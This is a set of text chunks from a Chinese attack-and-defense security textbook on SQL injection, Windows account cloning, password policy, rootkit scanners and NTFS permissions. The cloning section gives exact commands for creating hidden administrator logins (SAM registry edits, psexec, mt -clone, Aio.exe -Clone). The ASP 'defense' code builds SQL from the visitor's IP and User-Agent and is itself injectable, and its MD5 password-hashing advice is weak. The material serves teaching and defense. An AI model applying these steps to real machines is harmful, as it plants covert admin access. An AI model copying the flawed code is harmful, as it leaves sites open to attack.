    {"text": "（2）获取和验证 SQL 注入点 找到 SQL 注入点以后，需要进行 SQL 注入点的判断。 （3）获取信息 获取信息是 SQL 注入的一个关键步骤。 在 SQL 注入中，首先需要判断存在注入点的数据库是 否支持多句查询、子查询、数据库用户账号、数据库用户权限。"},
    {"text": "（4）实施控制 以 SQL Server 2000 为例，如果实施注入攻击的数据库是 SQL Server 2000，且数据库用户为 sa， 则可以直接添加管理员账号、开放 3389 远程终端服务、生成文件等。 （5）间接控制 间接控制主要是指，当通过 SQL 注入点不能执行 DOS 等命令时，只能进行数据字段内容的猜 测。"},
    {"text": "在 Web 应用程序中，为了方便用户的维护，一般都提供了后台管理功能，其后台管理验证用户 和口令都会保存在数据库中，通过猜测可以获取这些内容。"},
    {"text": "9.11.4 SQL 注入攻击的检测与防范方法 下面分别介绍 SQL 注入攻击的检测与防范方法。 1．SQL 注入攻击的检测方法 SQL 注入攻击的检测分为入侵前的检测和入侵后的检测。 入侵前的检测可以通过手工方式进 行，也可以使用 SQL 注入工具软件实现，检测的目的是预防 SQL 注入攻击。 对于 SQL 注入攻击后 的检测，主要是针对日志的检测，SQL 注入攻击成功后，会在 IIS 日志和数据库中留下痕迹。 （1）数据库检查 使用 HDSI、NBSI 和 Domain 等 SQL 注入攻击软件进行 SQL 注入攻击后，都会在数据库中生成 一些临时表。 通过查看数据库中最近创建的表的结构和内容，可以判断是否发生过 SQL 注入攻击。"},
    {"text": "SQL 注入攻击往往会大量访问某个页面文件（存在 SQL 注入点的动态网页），日志文件会急剧增加，通 过查看日志文件的大小及日志文件的内容，也可以判断是否发生了 SQL 注入攻击。 （3）其他相关信息判断 SQL 注入攻击成功后，攻击者往往会添加用户、开放 3389 远程终端服务、安装木马后门等。 可 以通过查看系统管理员账号、远程终端服务器开启情况、系统最近产生的文件等信息来判断是否发 生了入侵。 601 网络攻防实战研究：漏洞利用与提权 2．一般的 SQL 注入攻击防范方法 SQL 注入攻击防范方法目前已经有很多，总结如下。"},
    {"text": "z 目录最小化权限设置，给静态网页目录和动态网页目录分别设置不同的权限，尽量不给写目 录权限。 z 修改或者去掉 Web 服务器上默认的一些危险命令，例如 ftp、cmd、wscript 等，需要时再将 其复制到相应目录下。"},
    {"text": "在程序中对口令等敏感信息加密都是采用 MD5 函数进行加 密，即“密文=MD5(明文)”。 推荐在原来加密的基础上增加一些非常规的方式，即在 MD5 加密的基础上附带一些值，例如“密文=MD5(MD5(明文)+123456)”。"},
    {"text": "9.11.5 SQL 注入攻击的防范模型 下面介绍 SQL 注入攻击的防范模型。 1．SQL 注入攻击防范模型 在前人提出的 SQL 注入攻击的检测/防御/备案模型基础上，我们进行了检测过程的优化，提出 了一种 SQL 自动防范模型。"},
    {"text": "客户端提交信息 服务器器端检测 SQL 注入库 中检测 IP 地址 是 禁止访问 服务器进行备案 是否存在 否 否 服务器端字符串检测 检测字符串 是否超过指 否 是 发送电子邮件 是否合法 定访问值 是 正确访问地址 图 9-69 SQL 注入攻击自动防范模型 602 第 9 章 Windows 及 Linux 安全防范 核心代码如下。 sub stopit() response.write \"存在禁止访问 IP 地址：\"&rs(\"ip\") response.end response.redirect \"noright.asp\" end sub dim attack_browser,attack_ip,attack_host attack_browser=Request.ServerVariables(\"Http_User_Agent\") attack_ip=Request.ServerVariables(\"ReMote_Addr\") attack_host=Request.ServerVariables(\"Remote_Host\") set rs1=server.createobject(\"adodb.recordset\") '从访问禁止 IP 地址中查询是否存在访问者的 IP 地址，如果存在则禁止其访问 sql1=\"select ip from prohibit_ip where ip='\"&attack_ip&\"'\" rs1.open sql1,conn,1,3 if not rs1.eof then call stopit() end if rs1.close set rs1=nothing '从系统防范设置中查出电子邮件地址和运行的访问次数 set rs2=server.createobject(\"adodb.recordset\") sql2=\"select * from D_setup\" rs2.open sql2,conn,1,3 if not rs2.eof then session(\"email\")=rs2(\"email\") session(\"ok_count\")=rs2(\"ok_count\") end if rs2.close set rs2=nothing url=Request.ServerVariables(\"Query_String\") call chk(url) '从 Attack_count 表中获取 A_count 的次数，如果 A_count 次数不小于默认的访问次数则禁止 if chk(url) then set rs3=server.createobject(\"adodb.recordset\") sql3=\"select A_count from attack_count \" rs3.open sql3,conn,1,3 if not rs3.eof then if rs3(\"A_count\")>=session(\"ok_count\") then '插入攻击记录信息到 Attack_record 表中 t1_sql1=\"insert into Attack_record(ip,Attacktime ， Host ， Browser) value('\"&attack_ip&\"',now()，'\"&attack_host&\"'，'\"&attack_browser&\"')\" set rsdel=conn.execute(t1_sql1) call stopit() ok=Jmail(session(\"email\"),\"SQL 注入攻击告警！ \",\"攻击者 IP 地址:\"& attack_ip ) else temp_a_count=rs3(\"a_count\")+1 '插入攻击 IP 地址和 A_count 信息到 Attack_count 表中 t1_sql2=\"insert into Attack_count(ip,A_count) value('\"&attack_ip&\"','\"&temp_a_count&\"')\" 603 网络攻防实战研究：漏洞利用与提权 set rsdel=conn.execute(t1_sql2) end if end if 2．使用方法 将所有内容存入文件 sqlinject.asp 中，只需要将该文件包含在需要防范的页面中即可。"},
    {"text": "3．实际应用效果分析 通过实际测试，当攻击者在网页中提交非法字符达到指定次数后，系统会自动屏蔽该 IP 地址对 网站的访问，并将攻击 IP 地址、攻击时间、攻击者浏览器版本等信息写入数据库。"},
    {"text": "我们采取的折中办法是：在禁止的网页上留有电子邮件地址，如果发现是因 为 SQL 入侵导致某个局域网（企业）不能访问网站，则可以通过删除数据库中禁止访问的 IP 地址 的方式恢复访问。"},
    {"text": "9.12 Windows 系统克隆用户攻击与防范 随着计算机技术的发展和普及，大大小小的黑客网站和越来越简单的工具层出不穷，使得网络 攻击变得日趋频繁，被植入木马的计算机和服务器越来越多。"},
    {"text": "9.12.1 克隆账号的原理与危害 1．克隆账号的原理 在注册表中有两处保存了账号的 SID 相对标志符，一处是注册表 HKEY_LOCAL_MACHINE\\ SAM\\AMDomains\\AccountUsers 下的子键名，另一处是该子键的子项 F 的值。"},
    {"text": "如果先创建账户，再删除账户，然后使用相同的用户名创建 另一个账户，则新账户将不具有授权给前一个账户的权力或权限，原因是该账户具有不同的 SID。"},
    {"text": "9.12.2 克隆用户的常用方法 1．手工克隆方法一 在 Windows 2000/XP/Server 2003/NT 里，默认管理员账号的 SID 是 500（0x1f4），因此，我们可 以用机器里已经存在的一个账号对 SID 为 500 的账号进行克隆。"},
    {"text": "这里使用的工具是 PsExec，一个轻型的 Telnet 替代工具，它使我们无须手动安装客户端软件即 可执行其他系统上的进程，并且可以获得与控制台应用程序相当的完全交互性。 PsExec 最强大的功 能之一是在远程系统和远程支持工具（例如 ipconfig）中启动交互式命令提示窗口，以便显示无法通 过其他方式显示的有关远程系统的信息。"},
    {"text": "执行命令“psexec -i -s -d cmd”，得到一个 system 权限的 CMD Shell，如图 9-70 所示。 图 9-70 获取系统权限 CMD Shell 在该 CMD Shell 里运行“regedit /e admin.reg HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\ Account\\Users\\000001F4”命令，将 SID 为 500（0x1f4）的管理员账号的相关信息导出，如图 9-71 所示。 图 9-71 导出管理员注册表值 605 网络攻防实战研究：漏洞利用与提权 编辑 admin.reg 文件，将 第 3 行“ HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\ Users\\000001F4”中的“1F4”修改为 IUSR_XODU5PTT910NHOO 的 SID，即“3EB”，如图 9-72 所示。 图 9-72 修改注册表值 保存之后，执行命令“regedit /s admin.reg”，导入该 admin.reg 文件。"},
    {"text": "执行“net user IUSR_ XODU5PTT910NHOO n3tl04d”命令，修改 IUSR_XODU5PTT910NHOO 的密码为 n3tl04d。 建议使 用 14 位的密码，也就是说，越像 IUSR_XODU5PTT910NHOO 的密码越好。 现在，我们就可以使用 IUSR_XODU5PTT910NHOO 的密码 n3tl04d 进行远程登录，并看到和管 理员一样的配置环境了，如图 9-73 所示。"},
    {"text": "如果机器在最初安装的时候没有安装 IIS，而是自己创建账号后再安装 IIS，就可能不是这个值了。 如果不确定，可以使用“regedit /e sid.reg HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\IUSR_MACHINE”命令，先导 出注册表，再编辑 sid.reg 文件，看到 SID 为“3EB”，如图 9-74 所示。 606 第 9 章 Windows 及 Linux 安全防范 图 9-74 查看注册表值 2．手工克隆方法二 另一种手工克隆账户方法是：运行 regedt32.exe，展开注册表到 HKEY_LOCAL_MACHINE\\ SAM\\SAM，依次单击菜单栏中的“编辑”→“权限”选项（在 Windows 2000 中是“安全”→“权 限”选项），在弹出的“SAM 的权限”对话框中单击 Administrators 用户，设置允许完全控制（在 Windows 2000 中，是在该对话框中勾选“允许将来自父系的可继承权限传播给该对象”选项），单 击“确定”按钮，如图 9-75 所示。 找到 HKEY_LOCAL_MACHINE\\SAM\\SAM\\DomainsAccount\\Users\\00001F4，双击右边窗口中的 “F”项，如图 9-76 所示。 图 9-75 设置权限 图 9-76 查看注册表 F 值 选取全部内容，单击右键，在弹出的快捷菜单中选择“复制”选项。 打开 HKEY_LOCAL_ MACHINE\\SAM\\SAM\\DomainsAccount\\Users\\00003EB 下的 F 项，将刚才复制的内容粘贴进去。"},
    {"text": "mt -clone <SourUser> <DestUser> 607 网络攻防实战研究：漏洞利用与提权 图 9-77 使用 MT 进行账号克隆 例如，“mt -clone adminstrator IUSR_XODU5PTT910NHOO”就是把管理员账号 administrator 克 隆为 IUSR_XODU5PTT910NHOO 账号。"},
    {"text": "4．使用 AIO 克隆 AIO（All In One）是 WinEggDrop 编写的一个把很多小工具的功能集成在一起的“工具”，包括 克隆用户、修改服务的启动类型、删除系统账户、检查系统隐藏服务、端口扫描和端口转发等。"},
    {"text": "Aio.exe -Clone Administrator IUSR_XODU5PTT910NHOO n3tl04d 这样，就可以让 IUSR_XODU5PTT910NHOO\\n3tl04d 作为管理员登录了，如图 9-78 所示。"},
    {"text": "ca \\\\127.0.0.1 administrator 123456 IUSR_XODU5PTT910NHOO 123456 图 9-79 使用 CA 克隆 608 第 9 章 Windows 及 Linux 安全防范 6．使用 adhider 建立隐藏账号 adhider 是“锦毛鼠”编写的一个专门建立隐藏用户的工具。 此工具有一个缺点，就是当服务器 重启后，用户就隐藏不了，会在用户管理中显示出来，用法如下。"},
    {"text": "clone n3tl04d 520mm 这时，就可以使用 n3tl04d\\520mm 登录，得到管理员权限了。 注意 在 Windows Server 2003 下使用 clone 克隆后，再使用 MT 检查，会提示没有系统权限，此时需 要重启计算机或者运行一个拥有 system 权限的 CMDShell 才能使用 MT 检查。"},
    {"text": "609 网络攻防实战研究：漏洞利用与提权 9.12.3 克隆用户的安全检查与防范 当系统用户被克隆之后，更改管理员也无济于事，服务器上的信息和数据还是会被攻击者随意 窃取。"},
    {"text": "如图 9-83 所示， IUSR_XODU5PTT910NHOO 用户的 ExpectedSID 和 CheckedSID 不一样，且它的 CheckedSID 值和管 理员 administrator 的 CheckedSID 值一样，显然，IUSR_XODU5PTT910NHOO 是一个克隆账号。"},
    {"text": "Aio.exe CheckClone 610 第 9 章 Windows 及 Linux 安全防范 3．使用 CCA 检查 CCA 是小榕编写的一款检查是否存在克隆的账号的工具，支持远程检查，但必须有管理员账号， 用法如下。 cca.exe \\\\IP 地址 用户名 密码 检查本机是否存在克隆用户，例如“cca \\\\127.0.0.1 administrator 123456”，如图 9-85 所示，n3tl04d、 n3tl04d$ 都是克隆账号。 图 9-84 使用 AIO 检查 图 9-85 使用 CCA 检查 4．使用 LP_Check 检查 如果系统中存在克隆用户，软件将以红色字显示。"},
    {"text": "5．手工检查 （1）检查用户 对于系统的默认用户，例如 guest、IUSR_XODU5PTT910NHOO 等，可以使用“net user IUSR_ XODU5PTT910NHOO”命令查看最后登录日期，如图 9-87 所示。 图 9-86 使用 LP_Check 检查 图 9-87 查看用户登录时间 611 网络攻防实战研究：漏洞利用与提权 可以看出，IUSR_XODU5PTT910NHOO 登录过系统，此账号默认显示“上次登录 从不”，因此 可以判定账号已被克隆。"},
    {"text": "发现不明的登录日志，如图 9-88 所示，但 21:46 管理员并未登录系统，说明其他用户登录了系统，单击就可以看到是哪个用户登录了，如图 9-89 所示。 图 9-88 查看系统登录日志 图 9-89 查看日志审核记录 n3tl04d$ 在 21:46 登录过系统，说明此账号就是被克隆的账号。 如果日志中没有记录，管理员也 没有删除过日志，那肯定是攻击者删除的，说明系统肯定被入侵了。"},
    {"text": "（3）查看注册表 运行 regedt32.exe，展开注册表到 HKEY_LOCAL_MACHINE\\SAM\\SAM，依次单击菜单栏中的 “编辑”→“权限”选项，会弹出“SAM 的权限”对话框。"},
    {"text": "如果克隆的是系统默认账号，例如 guest、IUSR_MACHINE 等，需要导出两个用户的键值，然后对比 F 值。 如果 IUSR_MACHINE 的 F 值和管理员的 F 值相同， 说明已被克隆了。 如图 9-91 所示，3EB 的 F 值和管理员 1F4 的值一样，说明 SID 为 3EB 的账号是 克隆账号。 图 9-90 查看注册表中的用户 图 9-91 检查注册表中的 F 值 612 第 9 章 Windows 及 Linux 安全防范 6．删除克隆用户 （1）还原注册表 如果是系统默认账号被克隆的话，先到一台正常计算机上用同样的方法复制相同用户下面的 F 值。 如果发现 IUSR_MACHINE（“MACHINE”为机器名）用户被克隆，就打开一台正常计算机的 注册表，找到 HKEY_LOCAL_MACHINE\\SAM\\SAM\\DomainsAccount\\Users\\000003EA，导出注册表， 保存为 3EA.reg。 回到被入侵的计算机，导入被克隆的用户注册表值为 3eb.reg，接着把 3ea.reg 里面 的 F 值复制，替换 3eb.reg 里的 F 值，再把里面的“ea”改为“eb” （因为两台计算机的 IUSR_ MACHINE 用户的 SID 不一样，如果一样，就不需要修改），如图 9-92 所示。 图 9-92 还原注册表中被修改的值 保存后导入注册表，然后在 CMD 环境下使用“net user IUSR_MACHINE n3tl04d520mm”命令 修改密码。"},
    {"text": "（2）使用 MT 删除克隆用户 在 CMD 环境下输入“MT -killuser 用户名”，例如“mt -killuser n3tl04d”，命令运行成功后，n3tl04d 账号就不存在了，如图 9-93 所示。 图 9-93 使用 MT 删除克隆用户 （3）使用 AIO 删除克隆用户 在 CMD 环境下输入“Aio.exe -DelUser 用户名”，例如“Aio.exe -DelUser n3tl04d”，命令运行成 功后，n3tl04d 用户就被删除了，如图 9-94 所示。 613 网络攻防实战研究：漏洞利用与提权 图 9-94 使用 AIO 删除克隆账号 9.12.4 总结与思考 由于条件限制，本节的全部操作都是在 Windows Server 2003 下完成的。 当发现被克隆时，有人说要重装系统，但笔者认为这是不明智的选择，特别是服务器作为虚拟 主机的时候，把客户的网站都停掉造成的损失谁来负责？ 再说，如果入侵是服务器配置不当或者其 他网站漏洞造成的，仅靠重装系统无法把原来的漏洞补上，攻击者可以从原路再一次攻陷系统。"},
    {"text": "一旦发现克隆账号， 说明系统的安全风险非常大，单独删除克隆账号的意义不大，建议使用系统备份来恢复系统，并更 改系统中的所有账号和密码。"},
    {"text": "当我们设置系统口令时，大都会用自己熟悉的单词或一些习惯使用的数字， 例如电话号码、生日等，这在便于自己记忆的同时，也为攻击者打开了方便之门。"},
    {"text": "本节就如何设置 操作系统密码，分别从攻击（社会工程学对口令的攻击，内网渗透，暴力破解）和防护（主要是策 略）两个方面进行研究。 9.13.1 系统密码安全隐患与现状 1．口令设置上的漏洞 中国杀毒网记载了一个有趣的心理试验：随机抽出 100 名在校大学生，要求他们分别写下两个 单词，并告诉他们这两个单词是用于计算机的口令，非常重要，且将来的使用率也很高，要求他们 慎重考虑，结果却出人意料。"},
    {"text": "z 用常用英文单词的有 23 人，其中许多人都用了具有特定意义的单词，例如 anything、hello、 good、happy 等。 z 用计算机中经常出现的单词的有 18 人，这些单词中包括操作系统的常用命令，例如 system、 command、copy、harddisk、mouse 等。"},
    {"text": "2．社会工程学对口令的攻击 黑客在入侵过程中会利用搜索引擎充分收集被攻击对象的各种资料，在攻击中这些资料将起到 辅助作用。 笔者研究发现，在很多网络安全事故中，数据库服务器、FTP 服务器、文件服务器、远程 终端等均设置为相同的密码，利用社会工程学进行口令猜测，不但可以方便地渗透内网计算机，而 且可以获取被攻击者的电子邮箱、QQ 等账号所对应的密码。 3．内网渗透中对口令的攻击 内网渗透的思想源于特洛伊木马的思想。"},
    {"text": "z 利用传统手法，例如 SQL 注入、漏洞溢出等，得到一个分站的服务器权限，然后，根据在 分站上收集的电子邮箱信息、FTP 信息、网络拓扑信息、管理员常用的管理工具等渗透主站。"},
    {"text": "很多人拿到 IE 0day 就直 接挂马，其实 IE 0day 还有更高的价值，那就是发送邮件，如果管理员被欺骗并点击了攻击 者发送邮件里的 URL，后果就很难预料了。"},
    {"text": "通过各种手段取得内网管理员或用户的信任，获得其信息， 例如 QQ、电子邮箱等，抓住其弱点，降低其心理防线，在成熟的时候发送 URL 或在打包 的软件里捆绑木马等，内网将面临又一次的攻击。"},
    {"text": "9.13.2 系统密码安全设置策略 系统密码安全设置策略如下。 1．通过组策略加固密码设置 在“开始”→“运行”窗口中输入“gpedit.msc”并按“回车”键，就可以打开“组策略”设置 窗口，如图 9-95 所示。 在“组策略”窗口的左侧展开“计算机配置”→“Windows 设置”→“安全设置”→“账户策 略”→“密码策略”选项，在右边窗格中就会出现一系列的密码设置项。"},
    {"text": "615 网络攻防实战研究：漏洞利用与提权 图 9-95 打开组策略设置窗口 图 9-96 修改密码默认策略 z 密码不能包含用户的账户名，不能包含用户姓名中超过 2 个连续字符的部分。"},
    {"text": "3．密码长度最小值 此安全设置确定用户账户密码包含的最少字符数。 可以将值设置为介于 1 和 14 个字符之间，或 者将字符数设置为“0”以确定不需要密码，这是系统的默认值。"},
    {"text": "可以 将密码设置为在某些天数（介于 1 到 999 之间）后到期，或者将天数设置为 0（密码永不过期）。 如 果密码最长使用期限介于 1 到 999 天之间，密码最短使用期限必须小于密码最长使用期限。 如果将 密码最长使用期限设置为 0，则可以将密码最短使用期限设置为介于 0 到 998 天之间的任何值。 注意 最佳操作是将密码设置为 30 到 90 天后过期，具体取决于用户的环境。"},
    {"text": "616 第 9 章 Windows 及 Linux 安全防范 密码最短使用期限必须小于密码最长使用期限，除非将密码最长使用期限设置为 0（密码永不 过期）。 如果将密码最长使用期限设置为 0，则可以将密码最短使用期限设置为介于 0 到 998 之间的 任何值。 如果希望“强制密码历史”有效，则需要将密码最短使用期限设置为大于 0 的值。"},
    {"text": "从上面这些设置项中我们不难得到一个最为简单有效的密码安全方案，即首先启用“密码必须 符合复杂性要求”策略，然后设置密码最短存留期，最后开启“强制密码历史”。"},
    {"text": "设置完成后，在“控 制面板”中重新设置管理员的密码，这时的密码不仅本身是安全的（不低于 6 位且包含不同类别的 字符），而且以后修改密码时也不易出现与以前重复的情况，这样的系统密码安全性非常高。"},
    {"text": "z 不要用 a、b、c 等顺序靠前的字母或数字开头，因为用字典暴力破解一般都是按数字或英文 字母升序进行的，字母或数字顺序越靠前，破解机率就越高。"},
    {"text": "在“开始”→“运行”窗口中输入“cmd”并按“回车”按钮，在窗口中输入命令“net user” 以查看是否被添加了新用户，然后输入命令“net localgroup administrators”以查看是否有用户被提升 了管理员权限。"},
    {"text": "（1）打开日志管理器 依次单击“开始”→“程序”→“管理工具”→“事件查看器”选项，如图 9-98 所示。 图 9-97 查看管理员组中的用户 图 9-98 打开事件查看器 （2）设置日志属性 如图 9-99 所示，在“系统 属性”对话框的“常规”选项卡中可以对日志的大小、时间进行设 置，如果发现日志记录不在这个范围内，系统可能就被人“闯入”，而且修改了日志。"},
    {"text": "图 9-99 修改日志默认设置 图 9-100 使用筛选器记录事件 属性设置好后，就可以查看日志了，从中我们可以发现攻击者的蛛丝马迹。 为了预防攻击者对 日志的破坏，我们还要定期对日志进行备份，如果有需要，还可以恢复之前的日志文件。"},
    {"text": "9.14 使用 chkrootkit 和 rkhunter 检查 Linux 后门 Rootkit 是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络 链接等信息，比较常见的是 Rootkit 和木马、后门等恶意程序结合使用。 Rootkit 通过加载特殊的驱动， 618 第 9 章 Windows 及 Linux 安全防范 修改系统内核，进而达到隐藏信息的目的。"},
    {"text": "好多人有一个误解，认为 Rootkit 是获得系统 root 访问 权限的工具。 实际上，Rootkit 是攻击者用来隐藏自己的踪迹和保留 root 访问权限的工具。 在通常情 况下，攻击者通过远程攻击获得 root 访问权限，或者通过密码猜测或密码强制破译的方式获得系统 的访问权限。 进入系统后，如果他还没有获得 root 权限，就通过某些安全漏洞获得系统的 root 权限。 接着，攻击者会在侵入的主机中安装 Rootkit，然后通过 Rootkit 的后门检查系统是否有其他用户登录， 如果只有攻击者自己，攻击者就开始着手清理日志中的有关信息。 通过 Rootkit 嗅探器获得其他系统 的用户和密码之后，攻击者就会利用这些信息入侵其他系统。 最早 Rootkit 用于善意用途，但后来被用在入侵和攻击他人的计算机系统上，计算机病毒、间谍软 件等也常使用 Rootkit 来隐藏踪迹，因此，Rootkit 已被大多数的防毒软件归类为具有危害性的恶意 软件。 Linux、Windows、macOS 等操作系统都有可能成为 Rootkit 的攻击目标。"},
    {"text": "换句话说，这种程序可能一直存在于我们的计算机中，我们却浑然不知， 这一功能正是许多人梦寐以求的——无论是计算机黑客，还是计算机取证人员。"},
    {"text": "黑客可以在入侵后 置入 Rootkit，窥探敏感信息，或等待时机，伺机而动； 取证人员可以利用 Rootkit 实时监控嫌疑人员 的不法行为——Rootkit 不仅能搜集证据，还有利于及时采取行动！"},
    {"text": "1．下载 chkrootkit 源代码 chkrootkit 的官方网站为 http://www.chkrootkit.org。 目前官方网站已经不提供源程序下载，早期 官方下载地址（ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz）已经失效，但可以通过其镜像站 点（http://www.chkrootkit.org/mirrors/）进行下载，下载地址为 http://www.spenneberg.org/chkrootkit-mirror/files/chkrootkit.tar.gz，目前的版本为 0.48，更新于 2007 年 12 月 17 日，后期没有再进行开发。"},
    {"text": "tar -zxvf chkrootkit.tar.gz 3．编译安装 使用“make sense”命令进行编译，示例如下。 cd chkrootkit-0.48 make sense 把编译好的文件部署到/usr/local/目录中，并删除遗留的文件，示例如下。 cd .. 619 网络攻防实战研究：漏洞利用与提权 cp -r chkrootkit-0.48 /usr/local/chkrootkit rm -r chkrootkit-0.48 至此，安装完毕。 安装好的 chkrootkit 程序位于/usr/local/chkrootkit/chkrootkit 目录下。 4．进行检查 chkrootkit 命令必须以 root 权限进行，示例如下。 Usage: ./chkrootkit [options] [test ...] chkrootkit 命令有以下一些参数可以配合使用。"},
    {"text": "./chkrootkit | grep INFECTED 检查受木马感染的 ps、ls 命令，以及网络接口是否处于混杂模式，示例如下。 ./chkrootkit ps ls sniffer 以专家模式进行 Rootkit 检查，示例如下。"},
    {"text": "z not tested：未进行测试，可能的情况包括试验对象是特定的操作系统、该测试依赖于外部程 序时不可用、在一些特定的命令行选项中给出（例如“-r”）。 z not found：被测试的命令不可用。 z Vulnerable but disabled：该命令被感染，但没有被使用。"},
    {"text": "它通过执行一系列的脚本来确认计算机是否已经感染 Rootkit，例如检查 Rootkit 使用的基本文件、可执行二进制文件的错误文件权限，以及检测内核模块等。"},
    {"text": "620 第 9 章 Windows 及 Linux 安全防范 1．解压并安装 运行如下命令解压 rkhunter 安装包。 tar -zxvf rkhunter-1.4.2.tar.gz cd rkhunter-1.3.4 运行如下命令安装 rkhunter。"},
    {"text": "#./installer.sh --layout default --install 使用“./installer.sh -h”命令查看其帮助信息，示例如下。 Usage: ./installer.sh <parameters> z --help (-h)：显示帮助。"},
    {"text": "z 检测 rootkit 使用的二进制和系统工具文件。 z 检测特洛伊木马程序的特征码。 z 检测大多数常用程序的文件异常属性。 z 执行一些系统相关的测试（因为 rkhunter 可支持多个系统平台）。 z 扫描任何混杂模式下的接口和后门程序常用的端口。"},
    {"text": "./rkhunter -c -scan-knownbad-files 621 网络攻防实战研究：漏洞利用与提权 （3）更新 rkhunter 数据库 rkhunter 通过一个含有 rootkit 名字的数据库来检测系统的 rootkits 漏洞，所以经常更新该数据库 非常重要。"},
    {"text": "9.15.1 NTFS 权限的简单介绍 下面介绍 NTFS 权限的基本概念。 1．NTFS 介绍 Windows 的文件或者目录权限都是利用 NTFS 的功能来实现访问规则的。 NTFS（New Technology File System）是 Windows NT 操作环境和 Windows NT 高级服务器网络 操作系统环境的文件系统。"},
    {"text": "2．使用 convert 命令转换 FAT32 分区为 NTFS 分区 如果服务器使用的是 FAT32 分区，那么强烈建议修改成 NTFS 分区。 如果把系统安装在 C 盘并 且是 FAT32 分区，那么默认这台服务器上所有的用户都具有修改权限，也就是说，任何人都能删除 或修改 C 盘上的重要文件。 这样的情况我们当然不希望看到，所以在这里要把 FAT32 修改成 NTFS。"},
    {"text": "把 C 盘的 FAT32 分区修改成 NTFS 分区， 如图 9-101 所示，在这里输入“Y”就开始自动转换了。 图 9-101 使用 convert 转换磁盘分区 622 第 9 章 Windows 及 Linux 安全防范 提示 从 Windows Server 2003 开始安装时最好用 NTFS 分区快速格式化，不要使用 FAT32 分区，如 图 9-102 所示，以避免麻烦。 图 9-102 使用 convert 命令将 FAT32 分区转换成 NTFS 格式 9.15.2 NTFS 详解之磁盘配额 1．NTFS 磁盘配额介绍 NTFS 与 FAT32 相比增加了一些功能，如图 9-103 和图 9-104 所示。"},
    {"text": "所以，限制和管理用户使用的硬盘空间是非常重要的，无论是文件服务、FTP 服 务还是电子邮件服务，都要求对用户使用的磁盘容量进行控制，以避免对资源的滥用。"},
    {"text": "所谓磁盘配额就是管理员可以对本域中的每个用户所能使用的磁盘空间进行配额限制， 即每个用户只能使用最大配额范围内的磁盘空间。 磁盘配额监视个人用户卷的使用情况，因此，每 个用户对磁盘空间的利用都不会影响同一卷上其他用户的磁盘配额。"},
    {"text": "如图 9-105 所示，勾选“拒绝将磁盘空间给超过配额限制的 用户”这个选项，把将磁盘空间限制为 1kB，同时设置将警告空 间限制为 1kB，然后勾选“用户超出配额限制时记录事件”和“用 户超过警告时记录事件”这两个选项。 这样，如果系统中有其他 用户超出了分区的警告等级和配额限制，系统将把这些事件自动 记录到系统日志当中，这非常有利于管理员对系统分区空间的监 控。"},
    {"text": "启用磁盘配额以后，无法向这个分区 写入大于配额的文件，并且这个配置会对系统中的所有用户生 效，包括 Administrators 组中的用户。 图 9-105 启用磁盘配额管理 图 9-106 未启用磁盘配额 图 9-107 启用磁盘配额 如图 9-108 所示，Administrator 组中的用户也不能复制文件了。"},
    {"text": "右键单击“我的计算机”图标，从弹出快捷菜单中选择“管理”选项，然后 依次单击“系统工具”→“事件查看器”→“系统”选项，查看日志记录，如图 9-109 所示。"},
    {"text": "624 第 9 章 Windows 及 Linux 安全防范 图 9-108 管理员也无法复制文件 图 9-109 使用事件管理器查看事件 技巧 启动 IIS 需要的账号是“IUSR_计算机名”，如果我们建立网站的话，对应的访问者应该也是这 个账号，所以，这里可以设置成“IUSR_计算机名”用户不能写文件，但是其他用户能够写文件。 开启 FTP 服务，然后给 FTP 服务一个普通的账号和密码，把 Web 服务器对应目录的读写权限赋 予这个普通用户，利用磁盘配额功能让这个用户可以写入，这样就达到了一个非常高的安全标准。"},
    {"text": "同时，我们不希望访问用户利用黑客手段对 服务器进行文件上传等操作，这时可以利用磁盘配额功能添加 ftpuser 账号，这个账号可以利用 FTP 软件对 Web 目录进行服务器的维护工作，这样就达到了非常高的安全标准。"},
    {"text": "625 网络攻防实战研究：漏洞利用与提权 9.15.3 NTFS 详解之 Windows 权限 下面我们了解一下 NTFS 分区和 Windows 权限的基本概念及用法。 1．NTFS 访问规则控制 NTFS 的另一个非常重要的功能是对磁盘或者文件和文件夹的访问规则进行控制，即 Windows 的权限。 Windows 的权限大体上可以分为完全控制、修改、读取和运行，以及列出文件夹目录、读 取、写入、特别的权限。"},
    {"text": "（3）读取和运行权限 “读取和运行”就是允许读取和运行目录下的任何文件，“列出文件夹目录”和“读取”是“读 取和运行”的必要条件。 （4）列出文件夹目录权限 “列出文件夹目录”是指只能浏览该卷或目录下的子目录，不能读取，也不能运行。 （5）读取权限 “读取”是指能够读取该卷或目录下的数据。 （6）写入权限 “写入”就是能向该卷或目录中写入数据。"},
    {"text": "3．NTFS 的特性 （1）权限的继承性 权限的继承性就是下级文件夹的权限设置在未重设之前是继承其上一级文件的权限设置的，更 明确地说，就是如果一个用户对某一文件夹具有“读取”的权限，那么这个用户对这个文件夹的下 级文件夹同样具有“读取”权限，除非打断这种继承关系，重新设置。 但要注意，这仅是对静态的 文件权限来讲的，对文件或文件夹的移动或复制，其权限的继承性依照如下原则进行。 z 在同一 NTFS 分区内复制或移动：在同一 NTFS 分区内复制时，它的访问权限是和原文件或 文件夹的访问权限不一样的。 但在同一 NTFS 分区内移动一个文件或文件夹时，其访问权限 保持不变，即继承移动前的访问权限。 z 在不同 NTFS 分区间复制或移动：在不同 NTFS 分区间复制文件或文件夹，访问权限会随之 改变，复制的文件不是继承原权限，而是继承目标（新）文件夹的访问权限。 同样，如果是 626 第 9 章 Windows 及 Linux 安全防范 在不同的 NTFS 分区间移动文件或文件夹，则访问权随着移动而改变，即继承移动后所在文 件夹的权限。 z 从 NTFS 分区复制或移动到 FAT 分区：因为 FAT 格式的文件或文件夹根本没有权限设置项， 所以原来的文件或文件夹也就不再有访问权限配置了。"},
